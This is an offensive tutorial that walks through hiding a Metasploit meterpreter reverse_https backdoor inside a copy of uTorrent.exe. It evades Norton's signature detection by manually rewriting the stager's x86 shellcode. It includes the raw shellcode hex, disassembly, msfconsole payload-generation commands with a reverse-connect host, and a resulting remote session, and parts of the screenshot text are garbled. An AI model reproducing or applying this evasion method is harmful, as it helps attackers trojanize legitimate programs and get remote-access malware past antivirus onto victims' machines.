In this operation we'll neutralize an antivirus deployment by manually rewriting the assembly code for an exploit payload before launching our attack. With deep respect to the cleverboots malware analysts responsible for the sig dbs which keep folks safe, signature-baesd a/v is no longer an effective solution. Even modern heuristics engines are susceptible to obfuscations on the assembly level, as shown.

The technique we'll be using can apply to any executable which needs to slip past a signature-based scanner. To make things a smidge more interesting we'll be building our backdoor with the Metasploit Framework and injecting it with one of the most fun and easily-recognizable payloads I could think of: windows/meterpreter/reverse_https. The antivirus vendors are watching MSF like a hawk, of course, and for good reason. Any a/v that takes itself seriously will have meterpreter stager signatures.

This is a VM named Atbash. It's running Windows 7 and Norton Antivirus, which is subsequently in charge of Atbash's antivirusing needs. Why Norton? It's common. Also because McAfee wouldn't detect the unmodified reverse_https stager payload, let alone our permutations.



Atbash, Norton, and the Metasploit reverse https handler.

Our backdoor is a copy of uTorrent.exe taken from Atbash and augmented with the stock https stager. Norton pounces on it at once as a proper antivirus engine should. In fact Norton makes a rather decent job of it, electing to scrub the executable down and maintain its usefulness rather than delete it outright.

Oracle VM VirtualBox		🐠 🛜 🏾 Tue Sep 13, 3:47 PM	ą
	injector		
handler	🕱 injector		×
[~]\$ msfconsoleatbash	(with Norton) [Running] - Oracle VM VirtualBox	0.0.0	
Machine View Devices Help_			20175
=[metasploit v4.0.1-dev [core:4.0 api:1.0]	🔍 utorrent stockstager.exe (Trojan.Sv		
+=[731 exploits - 374 auxiliary - 81 post	This threat has been removed.	vioresmity access and the	
+=[229 payloads - 27 encoders - 8 nops =[svn r13722 updated today (2011.09.12)			
msf > use windows/meterpreter/reverse https	Details Unknown Community Usage, Risk High		
<pre>msf payload(reverse_https) > show optionside</pre>			je. Votess
Module options (payload/windows/meterpreter/reverse_https):			
Name Current Setting Required Description		towy File Actions	-
EXITFUNC process yes Exit technique: seh, thread,	process, none:/Users\zaphod\Desktop\utoment_stockstager		ar Lorenty
LHOST yes The local listener hostname LPORT 8443 yes The local listener port			7.7MIB
<pre>msf payload(reverse https) > set lhost 192.168.56.1</pre>			7441M(B
lhost => 192.168.56.1		⊳	_
<u>msf</u> payload(<mark>reverse_https</mark>) > set lport 5000 lport => 5000			
<pre>msf payload(reverse_https) > generate -e x86/shikata_ga_nai -i 7 -x [*] Writing 639488 bytes to /media/atbash/uTorrent stockstager.exe</pre>		/atbash/uTorrent_stockstager.exe	
<u>msf</u> payload(<mark>reverse_https</mark>) > ls /media/atbash [*] exec: ls /media/atbash			
DHT: 0 nodes (Logi	n) Onton Options		
desktop.ini NAVDownloader.exe			
Norton Installation Files.lnk			
uTorrent_stockstager.exe <u>msf</u> _payload(<mark>reverse_https</mark>) >			

Foreground: Metasploit's stock reverse_https handler is injected into uTorrent.exe. Background: Norton responds decisively and at once.

Thus the stock reverse_https stager is generally doomed to fail. For all its elegance, it's ubiquitous, and therefore in many scenarios it's as subtle as a brick. Our fix is to ignore the executable and instead adapt the framework directly. The reverse_https stager payload is x86 assembly wrapped in ruby and plugged into the framework. By rewriting the assembly and tweaking the ruby to match, we can wreck the antivirus fingerprint and add signature evasion capabilities to our local copy of the MSF.

Start by extracting the shellcode from msf's stock reverse_https stager. Copy the original stager as a new file for us to modify, then open them both in your favorite editor (be sure your editor has write access to the new file).

[rtyler@gallifrey windows]\$ pwd /opt/framework-4.0.0/msf3/modules/payloads/stagers/windows [rtyler@gallifrey windows]\$ ls | grep https reverse_https.rb reverse_https_strainA.rb

udis86 is a work of art. It's an x86 and x86_64 dissassembler that we'll be using to guide us in our adventures. Install it if you haven't already. Next we need a work directory with two workspaces.

```
[rtyler@gallifrey sigevasion_1]$ mkdir asm
[rtyler@gallifrey sigevasion_1]$ cd asm
[rtyler@gallifrey asm]$ touch msf_rhttps
[rtyler@gallifrey asm]$ touch strainA_https
[rtyler@gallifrey asm]$ gedit msf_rhttps && gedit strainA_https
```

Toss the original binary payload into the workspaces and perform some find-and-replaces to get rid of everything that isn't hexadecimal. Be sure to replace all the gaps between

bytes with spaces so udis86 will understand. You should end up with a block of 8-bit hex separated by spaces. This is your control. Disassemble it in a terminal to see what we've got.

[rty]er@ga]]ifrey asm]\$ diff msf_	rhttps strainA_https
[rtyler@gallifrey asm]\$ cat msf_r FC E8 89 00 00 00 60 89 E5 31 D2 52 0C 8B 52 14 8B 72 28 0F B7 4A AC 3C 61 7C 02 2C 20 C1 CF 0D 01 8B 52 10 8B 42 3C 01 D0 8B 40 78 D0 50 8B 48 18 8B 58 20 01 D3 E3 01 D6 31 FF 31 C0 AC C1 CF 0D 01 03 7D F8 3B 7D 24 75 E2 58 8B 58 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 58 5B 61 59 5A 51 FF E0 58 5F 5A 68 6E 65 74 00 68 77 69 6E 69 89 26 07 FF D5 31 FF 57 57 57 57 56 FF D5 EB 5F 5B 31 C9 51 51 6A 03 00 00 53 50 68 57 89 9F C6 FF D5 52 68 00 32 A0 84 52 52 52 51 52 38 FF D5 89 C6 6A 10 5B 68 80 33 04 50 6A 1F 56 68 75 46 9E 86 FF 57 57 56 68 2D 06 18 7B FF D5 85 10 EB D5 EB 49 E8 B3 FF FF FF 2F 00 68 F0 B5 A2 56 FF D5 6A 40 68 00 00 40 00 57 68 58 A4 53 E5 FF E7 57 68 00 20 00 00 53 56 68 12 85 C0 74 CD 8B 07 01 C3 85 C0 75	64 8B 52 30 8B 26 31 FF 31 CO C7 E2 FO 52 57 85 CO 74 4A 01 3C 49 8B 34 8B C7 38 EO 75 F4 24 01 D3 66 8B D0 89 44 24 24 8B 12 EB 86 5D E6 54 68 4C 77 68 3A 56 79 A7 51 51 68 5C 11 EB 48 59 31 D2 50 68 EB 55 2E 00 00 89 EO 6A D5 31 FF 57 57 CO 75 1A 4B 74 31 32 33 34 35 00 10 00 <td< td=""></td<>
FF FF FF [rtyler@gallifrey asm]\$ udcli -x r 0000000000000000 fc 000000000000000 e889000000 00000000000000 60 0000000000000	<pre>msf_rhttps cld call 0x8f pushad mov ebp, esp xor edx, edx mov edx, [fs:edx+0x30] mov edx, [edx+0xc] mov eax, [edi] add ebx, eax test eax, eax jnz 0x141 pop eax ret</pre>

The stager's a/v signature is likely to be buried somewhere in here. This isn't some monolith PE we're modifying, it's only about 350 bytes of asm. That means the sig is probably fragile. Go crazy. Smash stuff. We'll start with something simple:

000000000000000000000000000000000000	[rtyler@gallifrey_asm]\$ udcli -	
000000000000000000000000000000000000	0000000000000000000 fc	
000000000000000000000000000000000000		
000000000000000000000000000000000000		
000000000000000000000000000000000000		
0000000000000012 8b520c mov edx, [edx+0xc] 0000000000000012 8b5214 mov edx, [edx+0x14] [rty]er@gallifrey asm]\$ udcli -x strainA_https 000000000000000000000000000000000000		
00000000000012 8b5214 mov edx, [edx+0x14] [rty]er@gallifrey asm]\$ udcli -x strainA_https 000000000000000000000000000000000000		
[rtyler@gallifrey asm]\$ udcli -x strainA_https 0000000000000000 fc cld 000000000000000 e88c000000 call 0x92 0000000000000006 60 pushad 000000000000000 8bc2 mov eax, edx 000000000000000 8bc2 mov eax, edx 00000000000000 8bc2 mov edx, eax 00000000000000 89e5 mov ebp, esp 00000000000000 648b5230 mov edx, [fs:edx+0x30]		
000000000000000000000000000000000000	000000000000012 865214	mov edx, [edx+0x14]
00000000000011 8b520c mov edx, [edx+0xc] 00000000000014 90 nop 000000000000015 8b5214 mov edx, [edx+0x14]	0000000000000000 fc 0000000000000000 e88c000000 000000000000000 60 0000000000000	<pre>cld call 0x92 pushad mov eax, edx xor edx, eax mov ebp, esp mov edx, [fs:edx+0x30] mov edx, [edx+0xc] nop</pre>

Let's find out if this is enough to fool Norton. (Golly, I hope not.) If you haven't set up shares on your VM and mounted them, now's a great time. We'll need a few tweaks to the StrainA msf module to use it properly in the framework. We also need to increment the LPORT offset to 193 since we added 3 bytes before that point in the code. Like so:

Plug the revised shellcode into the StrainA module file. Then open up your msfconsole and check that our new strain has loaded properly. Use it, configure it, and roll it into a new copy of uTorrent.exe. Be sure to do the same for the stock stager to give us a control.

msf > search reverse_https				
Matching Modules				
Name	Rank	Description		
payload/windows/meterpreter/reverse_https payload/windows/meterpreter/reverse_https_strainA	[] []			
<pre>msf > pwd [*] exec: pwd</pre>				
/media/atbash msf > ls [*] exec: ls				
uTorrent.exe NAVDownloader.exe Norton Installation Files.lnk desktop.ini				
<pre>msf > use payload/windows/meterpreter/reverse_https</pre>				
<pre>msf payload(reverse_https) > set lhost 192.168.56.1 lhost => 192.168.56.1</pre>				
<pre>msf payload(reverse_https) > set lport 5000 lport => 5000</pre>				
msf payload(<mark>reverse_https</mark>) > generate -e x86/shikata_ga_nai -i 7 -x /media/atbash/uTorrent.exe -k -t exe -f /media/atbash/uTorrent_strainA.exe				
<pre>[*] Writing 639488 bytes to /media/atbash/uTorrent_strainA.exe</pre>				

Faced with our trivial Strain A modifications, Norton sounds the alarm immediately. We can confirm that strainA is functioning properly if we disable the on-access scanner.



Our first modest modifications in StrainA aren't enough for a bypass.

Chances are decent that somewhere within these ~350 bytes of shellcode is the thumbprint Norton is using for a signature. This can be a long and frustrating stage. Be creative. Ghostwrite the assembly code by swapping registers, switching sequences, segmenting operations, or anything else. So long as the code remains functional when the dust settles, it's a step towards breaking another antivirus vendor's signature set.

It will be necessary to write custom assembly that can be patched into the existing shellcode. There are resources at the end of this paper for anyone who doesn't do this sort of thing on a regular basis. udcli is fantastic for this, acting as a translator and an error-checker. For example, there's a typo in the fifth byte of this code:

	CO 31 AF 8b 34 8a 31 CO AC udcli -x
00000000000000 49	dec ecx
000000000000001 31c0	xor eax, eax
000000000000003 31af8b348a31	xor [edi+0x318a348b], ebp
000000000000009 c0ac	invalid

And repaired:

[rtyler@gallifrey ~]\$ echo 49	9 31 CO 31 FF 8b 34 8b 31 CO AC udcli -x
0000000000000000000	dec ecx
000000000000001 31c0	xor eax, eax
000000000000003 31ff	xor edi, edi
000000000000005 8b348b	mov esi, [ebx+ecx*4]
000000000000008 31c0	xor eax, eax
000000000000000a ac	lodsb

I've also found it useful to write a script which traces asm jumps and calls. Unless modifications to the assembly happen to be the exact same length as the code they're

replacing, offsets for any number of relative references will need to be adjusted. This is a similar process to the increments and decrements to this payload's LPORT offset.

Metasploit's obfuscators can add a welcome dash of luck to the exercise. On both stock and modified versions of this particular payload, I've used multiple iterations of shikata_ga_nai. Most of the better-known antivirus engines are undeterred by this. Their signatures are based on unchanging aspects of the underlying code. However, the right obfuscation in the right place can augment our efforts to mutate the shellcode manually.

The process can be arduous, but spontaneity and creativity are powerful tools. When the modified stager finds itself distorted at the engine's pressure points, there will be no match against the signature database, and the antivirus engine will allow the malware to run unmolested.



The reverse https strainB payload successfully bypasses Norton's full protection.

Worth noting is strainB's bypass of Norton's heuristics engine, which came as a nice surprise. Raw signature-based evasion was my only target for this operation. Norton allowed unquestioned execution of the modified payload, including meterpreter session establishment.

handler				× injecto	r		
1552 cmd.exe	trainB.exe x86 l x86 l	1 atbash\zaphod 1 atbash\zaphod 1 atbash\zaphod	C:\Windows\system32\c C:\Windows\system32\c C:\Users\zaphod\Deskt C:\Windows\system32\c	onhost.exe op\uTorrent_strain md.exe	B.exe		
1724 conhost.exe 684 Navw32.exe 2568 cmd.exe 552 conhost.exe	x86 1 x86 1	1 1 atbash\zaphod	C:\Windows\system32\c C:\PROGRA~1\NORTON~2\ C:\Windows\system32\c C:\Windows\system32\c	Engine\1860~1.29\r md.exe	avw32.exe an) [Running] – Oracle VM (5h.27m395
	ATBASH						
Architecture : System Language :	Windows 7 (Build 7 x86 en_US x86/win32	Recycle Bin - L					- X Support +
<pre>meterpreter > get Server username: a meterpreter > get Current pid: 736 meterpreter > bac msf exploit(hand)</pre>	uid atbash\zaphod oid kground						
Active sessions		<u>р</u> .н					81
Id Type	Informa		ction			b	
		\zaphod @ ATBASH 192.1		8.56.101:49296			
<u>msf</u> exploit(hand [*] Starting inter <u>meterpreter</u> > ls	ler) > sessions -i raction with l						1.5.2019
Listing: C:\Users							p:00 GHIT Iap Detaila ≯
Mode	Size Type Last		Name168.56.181:445				
	0 dir 2011 0 dir 2011 397864 fil 2011	1-09-13 15:55:01 -0700 1-09-13 15:04:08 -0700 1-09-13 13:18:00 -0700 1-09-13 13:19:53 -0700		iles.lnk		teanta ana	ken Bachap
100666/rw-rw-rw- 100777/rwxrwxrwx 100777/rwxrwxrwx 100777/rwxrwxrwx 100777/rwxrwxrwx	282 fil 2011 640888 fil 2011 635392 fil 2011 635392 fil 2011 635392 fil 2011	1 09-09 08:59:33 -0700 1-09-09 20:34:54 -0700 1-09-13 15:45:40 -0700 1-09-13 15:49:57 -0700 1-09-13 15:55:01 -0700	desktop.ini uTorrent.exe uTorrent_stockstager. uTorrent_strainA.exe				412 PM 9/13/2011
meterpreter >	2011		erraino.cxc				

Flexing meterpreter's muscles.

Good hunting.

Resources:

- metasploit framework 4.0.0/.1
- free trial of target antivirus software
- udis86: http://udis86.sourceforge.net/
- x86 assembly references. Some suggestions (if needed):
 http://ref.x86asm.net/
 http://www.c-jump.com/CIS77/reference/Instructions_by_Mnemonic.html
 http://www.c-jump.com/CIS77/CPU/x86/lecture.html
- oracle virtualbox